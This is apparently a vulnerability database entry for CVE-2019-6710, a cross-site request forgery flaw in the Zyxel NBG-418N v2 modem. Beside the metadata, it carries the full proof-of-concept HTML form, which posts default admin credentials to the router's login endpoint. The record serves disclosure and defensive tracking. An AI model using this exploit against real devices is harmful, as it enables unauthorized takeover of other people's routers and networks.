ID
VAR-E-201901-0163
CVE
| cve_id: | CVE-2019-6710 | Trust: 1.5 |
EDB ID
46240
TITLE
Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery - Hardware webapps Exploit
Trust: 0.6
DESCRIPTION
Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery. CVE-2019-6710 . webapps exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | zyxel | model: | nbg-418n modem 1.00 c0 | scope: | eq | version: | v2 | Trust: 1.6 |
| vendor: | zyxel | model: | nbg-418n | scope: | eq | version: | v2 | Trust: 0.5 |
EXPLOIT
<!--
# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC
# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0
# Tested on: Windows 10 x64
# CVE : CVE-2019-6710
# Author : Ali Can Gönüllü
# Twitter : @alicangonullu
Exploits :
-->
<html><head>
<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>
</head><body>
<form action="http://10.0.0.1/login.cgi" method="POST">
<input type="text" name="username" id="username" value="admin" /><br />
<input type="text" name="password" id="password" value="1234" /><br />
<input id="loginBtn" onclick="return onlogin()" type='submit'
value='Go!' />
<input type="hidden" name="submit.htm?login.htm" value="Send">
</form>
</body></html>
Trust: 1.0
EXPLOIT LANGUAGE
html
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Cross-Site Request Forgery
Trust: 1.6
TAGS
| tag: | Cross-Site Request Forgery (CSRF) | Trust: 1.0 |
| tag: | exploit | Trust: 0.5 |
| tag: | csrf | Trust: 0.5 |
CREDITS
Ali Can Gönüllü
Trust: 0.6
EXTERNAL IDS
| db: | EXPLOIT-DB | id: | 46240 | Trust: 1.6 |
| db: | NVD | id: | CVE-2019-6710 | Trust: 1.5 |
| db: | EDBNET | id: | 100874 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 151330 | Trust: 0.5 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2019-6710 | Trust: 1.5 |
| url: | https://www.exploit-db.com/exploits/46240/ | Trust: 0.6 |
SOURCES
| db: | PACKETSTORM | id: | 151330 |
| db: | EXPLOIT-DB | id: | 46240 |
| db: | EDBNET | id: | 100874 |
LAST UPDATE DATE
2022-07-27T10:00:30.862000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 151330 | date: | 2019-01-24T10:32:22 |
| db: | EXPLOIT-DB | id: | 46240 | date: | 2019-01-24T00:00:00 |
| db: | EDBNET | id: | 100874 | date: | 2019-02-05T00:00:00 |